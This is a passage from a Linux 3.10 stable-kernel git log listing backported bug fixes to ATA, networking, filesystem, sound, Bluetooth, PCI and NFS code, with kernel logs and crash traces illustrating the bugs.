6d8ca28fa688a9354bc9fbc935bdaeb3651b6677 upstream. Currently, ata_sff_softreset is skipped for controllers with no ctl port. But that also skips ata_sff_dev_classify required for device detection. This means that libata is currently broken on controllers with no ctl port. No device connected: [ 1.872480] pata_isapnp 01:01.02: activated [ 1.889823] scsi2 : pata_isapnp [ 1.890109] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 6.888110] ata3.01: qc timeout (cmd 0xec) [ 6.888179] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 16.888085] ata3.01: qc timeout (cmd 0xec) [ 16.888147] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 46.888086] ata3.01: qc timeout (cmd 0xec) [ 46.888148] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 51.888100] ata3.00: qc timeout (cmd 0xec) [ 51.888160] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x5) [ 61.888079] ata3.00: qc timeout (cmd 0xec) [ 61.888141] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x5) [ 91.888089] ata3.00: qc timeout (cmd 0xec) [ 91.888152] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x5) ATAPI device connected: [ 1.882061] pata_isapnp 01:01.02: activated [ 1.893430] scsi2 : pata_isapnp [ 1.893719] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 6.892107] ata3.01: qc timeout (cmd 0xec) [ 6.892171] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 16.892079] ata3.01: qc timeout (cmd 0xec) [ 16.892138] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 46.892079] ata3.01: qc timeout (cmd 0xec) [ 46.892138] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 46.908586] ata3.00: ATAPI: ACER CD-767E/O, V1.5X, max PIO2, CDB intr [ 46.924570] ata3.00: configured for PIO0 (device error ignored) [ 46.926295] scsi 2:0:0:0: CD-ROM ACER CD-767E/O 1.5X PQ: 0 ANSI: 5 [ 46.984519] sr0: scsi3-mmc drive: 6x/6x xa/form2 tray [ 46.984592] cdrom: Uniform CD-ROM driver Revision: 3.20 So don't skip ata_sff_softreset, just skip the reset part of ata_bus_softreset if the ctl port is not available. This makes IDE port on ES968 behave correctly: No device connected: [ 4.670888] pata_isapnp 01:01.02: activated [ 4.673207] scsi host2: pata_isapnp [ 4.673675] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 7.081840] Adding 2541652k swap on /dev/sda2. Priority:-1 extents:1 across:2541652k ATAPI device connected: [ 4.704362] pata_isapnp 01:01.02: activated [ 4.706620] scsi host2: pata_isapnp [ 4.706877] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 4.872782] ata3.00: ATAPI: ACER CD-767E/O, V1.5X, max PIO2, CDB intr [ 4.888673] ata3.00: configured for PIO0 (device error ignored) [ 4.893984] scsi 2:0:0:0: CD-ROM ACER CD-767E/O 1.5X PQ: 0 ANSI: 5 [ 7.015578] Adding 2541652k swap on /dev/sda2. Priority:-1 extents:1 across:2541652k Signed-off-by: Ondrej Zary Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f13014d0cceebce31aaba0863112fb273b9d204 Author: Scott Carter Date: Wed Sep 24 18:13:09 2014 -0700 pata_serverworks: disable 64-KB DMA transfers on Broadcom OSB4 IDE Controller commit 37017ac6849e772e67dd187ba2fbd056c4afa533 upstream. The Broadcom OSB4 IDE Controller (vendor and device IDs: 1166:0211) does not support 64-KB DMA transfers. Whenever a 64-KB DMA transfer is attempted, the transfer fails and messages similar to the following are written to the console log: [ 2431.851125] sr 0:0:0:0: [sr0] Unhandled sense code [ 2431.851139] sr 0:0:0:0: [sr0] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE [ 2431.851152] sr 0:0:0:0: [sr0] Sense Key : Hardware Error [current] [ 2431.851166] sr 0:0:0:0: [sr0] Add. Sense: Logical unit communication time-out [ 2431.851182] sr 0:0:0:0: [sr0] CDB: Read(10): 28 00 00 00 76 f4 00 00 40 00 [ 2431.851210] end_request: I/O error, dev sr0, sector 121808 When the libata and pata_serverworks modules are recompiled with ATA_DEBUG and ATA_VERBOSE_DEBUG defined in libata.h, the 64-KB transfer size in the scatter-gather list can be seen in the console log: [ 2664.897267] sr 9:0:0:0: [sr0] Send: [ 2664.897274] 0xf63d85e0 [ 2664.897283] sr 9:0:0:0: [sr0] CDB: [ 2664.897288] Read(10): 28 00 00 00 7f b4 00 00 40 00 [ 2664.897319] buffer = 0xf6d6fbc0, bufflen = 131072, queuecommand 0xf81b7700 [ 2664.897331] ata_scsi_dump_cdb: CDB (1:0,0,0) 28 00 00 00 7f b4 00 00 40 [ 2664.897338] ata_scsi_translate: ENTER [ 2664.897345] ata_sg_setup: ENTER, ata1 [ 2664.897356] ata_sg_setup: 3 sg elements mapped [ 2664.897364] ata_bmdma_fill_sg: PRD[0] = (0x66FD2000, 0xE000) [ 2664.897371] ata_bmdma_fill_sg: PRD[1] = (0x65000000, 0x10000) ------------------------------------------------------> ======= [ 2664.897378] ata_bmdma_fill_sg: PRD[2] = (0x66A10000, 0x2000) [ 2664.897386] ata1: ata_dev_select: ENTER, device 0, wait 1 [ 2664.897422] ata_sff_tf_load: feat 0x1 nsect 0x0 lba 0x0 0x0 0xFC [ 2664.897428] ata_sff_tf_load: device 0xA0 [ 2664.897448] ata_sff_exec_command: ata1: cmd 0xA0 [ 2664.897457] ata_scsi_translate: EXIT [ 2664.897462] leaving scsi_dispatch_cmnd() [ 2664.897497] Doing sr request, dev = sr0, block = 0 [ 2664.897507] sr0 : reading 64/256 512 byte blocks. [ 2664.897553] ata_sff_hsm_move: ata1: protocol 7 task_state 1 (dev_stat 0x58) [ 2664.897560] atapi_send_cdb: send cdb [ 2666.910058] ata_bmdma_port_intr: ata1: host_stat 0x64 [ 2666.910079] __ata_sff_port_intr: ata1: protocol 7 task_state 3 [ 2666.910093] ata_sff_hsm_move: ata1: protocol 7 task_state 3 (dev_stat 0x51) [ 2666.910101] ata_sff_hsm_move: ata1: protocol 7 task_state 4 (dev_stat 0x51) [ 2666.910129] sr 9:0:0:0: [sr0] Done: [ 2666.910136] 0xf63d85e0 TIMEOUT lspci shows that the driver used for the Broadcom OSB4 IDE Controller is pata_serverworks: 00:0f.1 IDE interface: Broadcom OSB4 IDE Controller (prog-if 8e [Master SecP SecO PriP]) Flags: bus master, medium devsel, latency 64 [virtual] Memory at 000001f0 (32-bit, non-prefetchable) [size=8] [virtual] Memory at 000003f0 (type 3, non-prefetchable) [size=1] I/O ports at 0170 [size=8] I/O ports at 0374 [size=4] I/O ports at 1440 [size=16] Kernel driver in use: pata_serverworks The pata_serverworks driver supports five distinct device IDs, one being the OSB4 and the other four belonging to the CSB series. The CSB series appears to support 64-KB DMA transfers, as tests on a machine with an SAI2 motherboard containing a Broadcom CSB5 IDE Controller (vendor and device IDs: 1166:0212) showed no problems with 64-KB DMA transfers. This problem was first discovered when attempting to install openSUSE from a DVD on a machine with an STL2 motherboard. Using the pata_serverworks module, older releases of openSUSE will not install at all due to the timeouts. Releases of openSUSE prior to 11.3 can be installed by disabling the pata_serverworks module using the brokenmodules boot parameter, which causes the serverworks module to be used instead. Recent releases of openSUSE (12.2 and later) include better error recovery and will install, though very slowly. On all openSUSE releases, the problem can be recreated on a machine containing a Broadcom OSB4 IDE Controller by mounting an install DVD and running a command similar to the following: find /mnt -type f -print | xargs cat > /dev/null The patch below corrects the problem. Similar to the other ATA drivers that do not support 64-KB DMA transfers, the patch changes the ata_port_operations qc_prep vector to point to a routine that breaks any 64-KB segment into two 32-KB segments and changes the scsi_host_template sg_tablesize element to reduce by half the number of scatter/gather elements allowed. These two changes affect only the OSB4. Signed-off-by: Scott Carter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba10ea92a22a0aef0dce0a41539c5a81729c1d17 Author: Guenter Roeck Date: Sun Sep 21 15:04:53 2014 -0700 Revert "percpu: free percpu allocation info for uniprocessor system" commit bb2e226b3bef596dd56be97df655d857b4603923 upstream. This reverts commit 3189eddbcafc ("percpu: free percpu allocation info for uniprocessor system"). The commit causes a hang with a crisv32 image. This may be an architecture problem, but at least for now the revert is necessary to be able to boot a crisv32 image. Cc: Tejun Heo Cc: Honggang Li Signed-off-by: Guenter Roeck Signed-off-by: Tejun Heo Fixes: 3189eddbcafc ("percpu: free percpu allocation info for uniprocessor system") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3566592ab6e2621a6e2eafb22c962b495f198e4a Author: Benjamin Coddington Date: Tue Sep 23 12:26:20 2014 -0400 lockd: Try to reconnect if statd has moved commit 173b3afceebe76fa2205b2c8808682d5b541fe3c upstream. If rpc.statd is restarted, upcalls to monitor hosts can fail with ECONNREFUSED. In that case force a lookup of statd's new port and retry the upcall. Signed-off-by: Benjamin Coddington Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c654d747222e3c1a7b3361bbd4433414770900b Author: Ben Hutchings Date: Fri Oct 31 03:10:31 2014 +0000 drivers/net: macvtap and tun depend on INET [ Upstream commit de11b0e8c569b96c2cf6a811e3805b7aeef498a3 ] These drivers now call ipv6_proxy_select_ident(), which is defined only if CONFIG_INET is enabled. However, they have really depended on CONFIG_INET for as long as they have allowed sending GSO packets from userland. Reported-by: kbuild test robot Signed-off-by: Ben Hutchings Fixes: f43798c27684 ("tun: Allow GSO using virtio_net_hdr") Fixes: b9fb9ee07e67 ("macvtap: add GSO/csum offload support") Fixes: 5188cd44c55d ("drivers/net, ipv6: Select IPv6 fragment idents for virtio UFO packets") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6eaa99db12e3256892d9ce17e86a2a36ea13f591 Author: Vasily Averin Date: Wed Oct 15 16:24:02 2014 +0400 ipv4: dst_entry leak in ip_send_unicast_reply() [ Upstream commit 4062090e3e5caaf55bed4523a69f26c3265cc1d2 ] ip_setup_cork() called inside ip_append_data() steals dst entry from rt to cork and in case errors in __ip_append_data() nobody frees stolen dst entry Fixes: 2e77d89b2fa8 ("net: avoid a pair of dst_hold()/dst_release() in ip_append_data()") Signed-off-by: Vasily Averin Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41b573c9c3cccb231178b47de42d719682a8b47a Author: Ian Morgan Date: Sun Oct 19 08:05:13 2014 -0400 ax88179_178a: fix bonding failure [ Upstream commit 95ff88688781db2f64042e69bd499e518bbb36e5 ] The following patch fixes a bug which causes the ax88179_178a driver to be incapable of being added to a bond. When I brought up the issue with the bonding maintainers, they indicated that the real problem was with the NIC driver which must return zero for success (of setting the MAC address). I see that several other NIC drivers follow that pattern by either simply always returing zero, or by passing through a negative (error) result while rewriting any positive return code to zero. With that same philisophy applied to the ax88179_178a driver, it allows it to work correctly with the bonding driver. I believe this is suitable for queuing in -stable, as it's a small, simple, and obvious fix that corrects a defect with no other known workaround. This patch is against vanilla 3.17(.0). Signed-off-by: Ian Morgan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85f87f016b163800714fb9d81d2289e5ace5deab Author: Jiri Pirko Date: Mon Oct 13 16:34:10 2014 +0200 ipv4: fix nexthop attlen check in fib_nh_match [ Upstream commit f76936d07c4eeb36d8dbb64ebd30ab46ff85d9f7 ] fib_nh_match does not match nexthops correctly. Example: ip route add 172.16.10/24 nexthop via 192.168.122.12 dev eth0 \ nexthop via 192.168.122.13 dev eth0 ip route del 172.16.10/24 nexthop via 192.168.122.14 dev eth0 \ nexthop via 192.168.122.15 dev eth0 Del command is successful and route is removed. After this patch applied, the route is correctly matched and result is: RTNETLINK answers: No such process Please consider this for stable trees as well. Fixes: 4e902c57417c4 ("[IPv4]: FIB configuration using struct fib_config") Signed-off-by: Jiri Pirko Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 190acdcbd1b5791816102a92f69ddcef7e3f52d9 Author: Greg Kroah-Hartman Date: Thu Oct 30 09:35:42 2014 -0700 Linux 3.10.59 Signed-off-by: Pranav Vashi commit 126a90e1e86ae2455ab051c463a3c16559cb1ffb Author: Chao Yu Date: Thu Jul 24 17:25:42 2014 +0800 ecryptfs: avoid to access NULL pointer when write metadata in xattr commit 35425ea2492175fd39f6116481fe98b2b3ddd4ca upstream. Christopher Head 2014-06-28 05:26:20 UTC described: "I tried to reproduce this on 3.12.21. Instead, when I do "echo hello > foo" in an ecryptfs mount with ecryptfs_xattr specified, I get a kernel crash: BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] fsstack_copy_attr_all+0x2/0x61 PGD d7840067 PUD b2c3c067 PMD 0 Oops: 0002 [#1] SMP Modules linked in: nvidia(PO) CPU: 3 PID: 3566 Comm: bash Tainted: P O 3.12.21-gentoo-r1 #2 Hardware name: ASUSTek Computer Inc. G60JX/G60JX, BIOS 206 03/15/2010 task: ffff8801948944c0 ti: ffff8800bad70000 task.ti: ffff8800bad70000 RIP: 0010:[] [] fsstack_copy_attr_all+0x2/0x61 RSP: 0018:ffff8800bad71c10 EFLAGS: 00010246 RAX: 00000000000181a4 RBX: ffff880198648480 RCX: 0000000000000000 RDX: 0000000000000004 RSI: ffff880172010450 RDI: 0000000000000000 RBP: ffff880198490e40 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880172010450 R11: ffffea0002c51e80 R12: 0000000000002000 R13: 000000000000001a R14: 0000000000000000 R15: ffff880198490e40 FS: 00007ff224caa700(0000) GS:ffff88019fcc0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000000bb07f000 CR4: 00000000000007e0 Stack: ffffffff811826e8 ffff8800a39d8000 0000000000000000 000000000000001a ffff8800a01d0000 ffff8800a39d8000 ffffffff81185fd5 ffffffff81082c2c 00000001a39d8000 53d0abbc98490e40 0000000000000037 ffff8800a39d8220 Call Trace: [] ? ecryptfs_setxattr+0x40/0x52 [] ? ecryptfs_write_metadata+0x1b3/0x223 [] ? should_resched+0x5/0x23 [] ? ecryptfs_initialize_file+0xaf/0xd4 [] ? ecryptfs_create+0xf4/0x142 [] ? vfs_create+0x48/0x71 [] ? do_last.isra.68+0x559/0x952 [] ? link_path_walk+0xbd/0x458 [] ? path_openat+0x224/0x472 [] ? do_filp_open+0x2b/0x6f [] ? __alloc_fd+0xd6/0xe7 [] ? do_sys_open+0x65/0xe9 [] ? system_call_fastpath+0x16/0x1b RIP [] fsstack_copy_attr_all+0x2/0x61 RSP CR2: 0000000000000000 ---[ end trace df9dba5f1ddb8565 ]---" If we create a file when we mount with ecryptfs_xattr_metadata option, we will encounter a crash in this path: ->ecryptfs_create ->ecryptfs_initialize_file ->ecryptfs_write_metadata ->ecryptfs_write_metadata_to_xattr ->ecryptfs_setxattr ->fsstack_copy_attr_all It's because our dentry->d_inode used in fsstack_copy_attr_all is NULL, and it will be initialized when ecryptfs_initialize_file finish. So we should skip copying attr from lower inode when the value of ->d_inode is invalid. Signed-off-by: Chao Yu Signed-off-by: Tyler Hicks Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6f375b57bedb4053ac21862b159ba61a7df96113 Author: Ludovic Desroches Date: Mon Sep 22 15:51:33 2014 +0200 ARM: at91/PMC: don't forget to write PMC_PCDR register to disable clocks commit cfa1950e6c6b72251e80adc736af3c3d2907ab0e upstream. When introducing support for sama5d3, the write to PMC_PCDR register has been accidentally removed. Reported-by: Nathalie Cyrille Signed-off-by: Ludovic Desroches Signed-off-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6668dee34d9cb06cb509d0b811ae9ef767fff3f7 Author: Vlad Catoi Date: Sat Oct 18 17:45:41 2014 -0500 ALSA: usb-audio: Add support for Steinberg UR22 USB interface commit f0b127fbfdc8756eba7437ab668f3169280bd358 upstream. Adding support for Steinberg UR22 USB interface via quirks table patch See Ubuntu bug report: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1317244 Also see threads: http://linux-audio.4202.n7.nabble.com/Support-for-Steinberg-UR22-Yamaha-USB-chipset-0499-1509-tc82888.html#a82917 http://www.steinberg.net/forums/viewtopic.php?t=62290 Tested by at least 4 people judging by the threads. Did not test MIDI interface, but audio output and capture both are functional. Built 3.17 kernel with this driver on Ubuntu 14.04 & tested with mpg123 Patch applied to 3.13 Ubuntu kernel works well enough for daily use. Signed-off-by: Vlad Catoi Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d6a3c897e018c3309eb32349892e9d44e0dd4ee Author: Takashi Iwai Date: Mon Oct 13 23:18:02 2014 +0200 ALSA: emu10k1: Fix deadlock in synth voice lookup commit 95926035b187cc9fee6fb61385b7da9c28123f74 upstream. The emu10k1 voice allocator takes voice_lock spinlock. When there is no empty stream available, it tries to release a voice used by synth, and calls get_synth_voice. The callback function, snd_emu10k1_synth_get_voice(), however, also takes the voice_lock, thus it deadlocks. The fix is simply removing the voice_lock holds in snd_emu10k1_synth_get_voice(), as this is always called in the spinlock context. Reported-and-tested-by: Arthur Marsh Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5270251f4f454742846877e2ab39802ec3a8406 Author: Anatol Pomozov Date: Fri Oct 17 12:43:34 2014 -0700 ALSA: pcm: use the same dma mmap codepath both for arm and arm64 commit a011e213f3700233ed2a676f1ef0a74a052d7162 upstream. This avoids following kernel crash when try to playback on arm64 [ 107.497203] [] snd_pcm_mmap_data_fault+0x90/0xd4 [ 107.503405] [] __do_fault+0xb0/0x498 [ 107.508565] [] handle_mm_fault+0x224/0x7b0 [ 107.514246] [] do_page_fault+0x11c/0x310 [ 107.519738] [] do_mem_abort+0x38/0x98 Tested: backported to 3.14 and tried to playback on arm64 machine Signed-off-by: Anatol Pomozov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a6c9804d5ece0c22caa19993876088e27b8165f Author: Victor Kamensky Date: Tue Oct 14 06:55:05 2014 +0100 arm64: compat: fix compat types affecting struct compat_elf_prpsinfo commit 971a5b6fe634bb7b617d8c5f25b6a3ddbc600194 upstream. The compat_elf_prpsinfo structure does not match the arch/arm struct elf_pspsinfo definition. As result NT_PRPSINFO note in core file created by arm64 kernel for aarch32 (compat) process has wrong size. So gdb cannot display command that caused process crash. Fix is to change size of __compat_uid_t, __compat_gid_t so it would match size of similar fields in arch/arm case. Signed-off-by: Victor Kamensky Acked-by: Arnd Bergmann Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e378e659dd16d40e3f206861a99a815564ffdbf7 Author: Andy Shevchenko Date: Thu Sep 18 20:08:53 2014 +0300 spi: dw-mid: terminate ongoing transfers at exit commit 8e45ef682cb31fda62ed4eeede5d9745a0a1b1e2 upstream. Do full clean up at exit, means terminate all ongoing DMA transfers. Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bd882d3261b37e67ee552efa666bc1c486cf630 Author: Sasha Levin Date: Mon Oct 13 15:51:05 2014 -0700 kernel: add support for gcc 5 commit 71458cfc782eafe4b27656e078d379a34e472adf upstream. We're missing include/linux/compiler-gcc5.h which is required now because gcc branched off to v5 in trunk. Just copy the relevant bits out of include/linux/compiler-gcc4.h, no new code is added as of now. This fixes a build error when using gcc 5. Signed-off-by: Sasha Levin Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 90ef03ea61f55cc9fd33b7fee259617be064ad9b Author: Yann Droneaud Date: Thu Oct 9 15:24:40 2014 -0700 fanotify: enable close-on-exec on events' fd when requested in fanotify_init() commit 0b37e097a648aa71d4db1ad108001e95b69a2da4 upstream. According to commit 80af258867648 ("fanotify: groups can specify their f_flags for new fd"), file descriptors created as part of file access notification events inherit flags from the event_f_flags argument passed to syscall fanotify_init(2)[1]. Unfortunately O_CLOEXEC is currently silently ignored. Indeed, event_f_flags are only given to dentry_open(), which only seems to care about O_ACCMODE and O_PATH in do_dentry_open(), O_DIRECT in open_check_o_direct() and O_LARGEFILE in generic_file_open(). It's a pity, since, according to some lookup on various search engines and http://codesearch.debian.net/, there's already some userspace code which use O_CLOEXEC: - in systemd's readahead[2]: fanotify_fd = fanotify_init(FAN_CLOEXEC|FAN_NONBLOCK, O_RDONLY|O_LARGEFILE|O_CLOEXEC|O_NOATIME); - in clsync[3]: #define FANOTIFY_EVFLAGS (O_LARGEFILE|O_RDONLY|O_CLOEXEC) int fanotify_d = fanotify_init(FANOTIFY_FLAGS, FANOTIFY_EVFLAGS); - in examples [4] from "Filesystem monitoring in the Linux kernel" article[5] by Aleksander Morgado: if ((fanotify_fd = fanotify_init (FAN_CLOEXEC, O_RDONLY | O_CLOEXEC | O_LARGEFILE)) < 0) Additionally, since commit 48149e9d3a7e ("fanotify: check file flags passed in fanotify_init"). having O_CLOEXEC as part of fanotify_init() second argument is expressly allowed. So it seems expected to set close-on-exec flag on the file descriptors if userspace is allowed to request it with O_CLOEXEC. But Andrew Morton raised[6] the concern that enabling now close-on-exec might break existing applications which ask for O_CLOEXEC but expect the file descriptor to be inherited across exec(). In the other hand, as reported by Mihai Dontu[7] close-on-exec on the file descriptor returned as part of file access notify can break applications due to deadlock. So close-on-exec is needed for most applications. More, applications asking for close-on-exec are likely expecting it to be enabled, relying on O_CLOEXEC being effective. If not, it might weaken their security, as noted by Jan Kara[8]. So this patch replaces call to macro get_unused_fd() by a call to function get_unused_fd_flags() with event_f_flags value as argument. This way O_CLOEXEC flag in the second argument of fanotify_init(2) syscall is interpreted and close-on-exec get enabled when requested. [1] http://man7.org/linux/man-pages/man2/fanotify_init.2.html [2] http://cgit.freedesktop.org/systemd/systemd/tree/src/readahead/readahead-collect.c?id=v208#n294 [3] https://github.com/xaionaro/clsync/blob/v0.2.1/sync.c#L1631 https://github.com/xaionaro/clsync/blob/v0.2.1/configuration.h#L38 [4] http://www.lanedo.com/~aleksander/fanotify/fanotify-example.c [5] http://www.lanedo.com/2013/filesystem-monitoring-linux-kernel/ [6] http://lkml.kernel.org/r/20141001153621.65e9258e65a6167bf2e4cb50@linux-foundation.org [7] http://lkml.kernel.org/r/20141002095046.3715eb69@mdontu-l [8] http://lkml.kernel.org/r/20141002104410.GB19748@quack.suse.cz Link: http://lkml.kernel.org/r/cover.1411562410.git.ydroneaud@opteya.com Signed-off-by: Yann Droneaud Reviewed-by: Jan Kara Reviewed by: Heinrich Schuchardt Tested-by: Heinrich Schuchardt Cc: Mihai Don\u021bu Cc: Pádraig Brady Cc: Heinrich Schuchardt Cc: Jan Kara Cc: Valdis Kletnieks Cc: Michael Kerrisk-manpages Cc: Lino Sanfilippo Cc: Richard Guy Briggs Cc: Eric Paris Cc: Al Viro Cc: Michael Kerrisk Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd1b6577c9b56a9c100333952adb365b521f9d1f Author: Junxiao Bi Date: Thu Oct 9 15:28:23 2014 -0700 mm: clear __GFP_FS when PF_MEMALLOC_NOIO is set commit 934f3072c17cc8886f4c043b47eeeb1b12f8de33 upstream. commit 21caf2fc1931 ("mm: teach mm by current context info to not do I/O during memory allocation") introduces PF_MEMALLOC_NOIO flag to avoid doing I/O inside memory allocation, __GFP_IO is cleared when this flag is set, but __GFP_FS implies __GFP_IO, it should also be cleared. Or it may still run into I/O, like in superblock shrinker. And this will make the kernel run into the deadlock case described in that commit. See Dave Chinner's comment about io in superblock shrinker: Filesystem shrinkers do indeed perform IO from the superblock shrinker and have for years. Even clean inodes can require IO before they can be freed - e.g. on an orphan list, need truncation of post-eof blocks, need to wait for ordered operations to complete before it can be freed, etc. IOWs, Ext4, btrfs and XFS all can issue and/or block on arbitrary amounts of IO in the superblock shrinker context. XFS, in particular, has been doing transactions and IO from the VFS inode cache shrinker since it was first introduced.... Fix this by clearing __GFP_FS in memalloc_noio_flags(), this function has masked all the gfp_mask that will be passed into fs for the processes setting PF_MEMALLOC_NOIO in the direct reclaim path. v1 thread at: https://lkml.org/lkml/2014/9/3/32 Signed-off-by: Junxiao Bi Cc: Dave Chinner Cc: joyce.xue Cc: Ming Lei Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11033345159f724fd73e5696343b0a1d435ff378 Author: Champion Chen Date: Sat Sep 6 14:06:08 2014 -0500 Bluetooth: Fix issue with USB suspend in btusb driver commit 85560c4a828ec9c8573840c9b66487b6ae584768 upstream. Suspend could fail for some platforms because btusb_suspend==> btusb_stop_traffic ==> usb_kill_anchored_urbs. When btusb_bulk_complete returns before system suspend and resubmits an URB, the system cannot enter suspend state. Signed-off-by: Champion Chen Signed-off-by: Larry Finger Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c046902085c7796b351dad62c48b1af4d97cf764 Author: Loic Poulain Date: Fri Aug 8 19:07:16 2014 +0200 Bluetooth: Fix HCI H5 corrupted ack value commit 4807b51895dce8aa650ebebc51fa4a795ed6b8b8 upstream. In this expression: seq = (seq - 1) % 8 seq (u8) is implicitly converted to an int in the arithmetic operation. So if seq value is 0, operation is ((0 - 1) % 8) => (-1 % 8) => -1. The new seq value is 0xff which is an invalid ACK value, we expect 0x07. It leads to frequent dropped ACK and retransmission. Fix this by using '&' binary operator instead of '%'. Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35d998f96320e03d9338fb4b3ee18ba56475f69c Author: Stanislaw Gruszka Date: Wed Sep 24 11:24:54 2014 +0200 rt2800: correct BBP1_TX_POWER_CTRL mask commit 01f7feeaf4528bec83798316b3c811701bac5d3e upstream. Two bits control TX power on BBP_R1 register. Correct the mask, otherwise we clear additional bit on BBP_R1 register, what can have unknown, possible negative effect. Signed-off-by: Stanislaw Gruszka Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b8c8e116684016de7e111cf0326cb1369ec3af4 Author: Ricardo Ribalda Delgado Date: Wed Aug 27 14:57:57 2014 +0200 PCI: Generate uppercase hex for modalias interface class commit 89ec3dcf17fd3fa009ecf8faaba36828dd6bc416 upstream. Some implementations of modprobe fail to load the driver for a PCI device automatically because the "interface" part of the modalias from the kernel is lowercase, and the modalias from file2alias is uppercase. The "interface" is the low-order byte of the Class Code, defined in PCI r3.0, Appendix D. Most interface types defined in the spec do not use alpha characters, so they won't be affected. For example, 00h, 01h, 10h, 20h, etc. are unaffected. Print the "interface" byte of the Class Code in uppercase hex, as we already do for the Vendor ID, Device ID, Class, etc. [bhelgaas: changelog] Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Bjorn Helgaas Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9c60e7885eefd1516a766cb0519f85100d2de0d5 Author: Douglas Lehr Date: Thu Aug 21 09:26:52 2014 +1000 PCI: Increase IBM ipr SAS Crocodile BARs to at least system page size commit 9fe373f9997b48fcd6222b95baf4a20c134b587a upstream. The Crocodile chip occasionally comes up with 4k and 8k BAR sizes. Due to an erratum, setting the SR-IOV page size causes the physical function BARs to expand to the system page size. Since ppc64 uses 64k pages, when Linux tries to assign the smaller resource sizes to the now 64k BARs the address will be truncated and the BARs will overlap. Force Linux to allocate the resource as a full page, which avoids the overlap. [bhelgaas: print expanded resource, too] Signed-off-by: Douglas Lehr Signed-off-by: Anton Blanchard Signed-off-by: Bjorn Helgaas Acked-by: Milton Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a95a6a1759af733804ffcc76ee07c2d842d04265 Author: Oren Givon Date: Wed Sep 17 10:31:56 2014 +0300 iwlwifi: Add missing PCI IDs for the 7260 series commit 4f08970f5284dce486f0e2290834aefb2a262189 upstream. Add 4 missing PCI IDs for the 7260 series. Signed-off-by: Oren Givon Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dc295f87ee99851bb40b512434b76f8d66f80b5 Author: Andy Adamson Date: Mon Sep 29 12:31:57 2014 -0400 NFSv4.1: Fix an NFSv4.1 state renewal regression commit d1f456b0b9545f1606a54cd17c20775f159bd2ce upstream. Commit 2f60ea6b8ced ("NFSv4: The NFSv4.0 client must send RENEW calls if it holds a delegation") set the NFS4_RENEW_TIMEOUT flag in nfs4_renew_state, and does not put an nfs41_proc_async_sequence call, the NFSv4.1 lease renewal heartbeat call, on the wire to renew the NFSv4.1 state if the flag was not set. The NFS4_RENEW_TIMEOUT flag is set when "now" is after the last renewal (cl_last_renewal) plus the lease time divided by 3. This is arbitrary and sometimes does the following: In normal operation, the only way a future state renewal call is put on the wire is via a call to nfs4_schedule_state_renewal, which schedules a nfs4_renew_state workqueue task. nfs4_renew_state determines if the NFS4_RENEW_TIMEOUT should be set, and the calls nfs41_proc_async_sequence, which only gets sent if the NFS4_RENEW_TIMEOUT flag is set. Then the 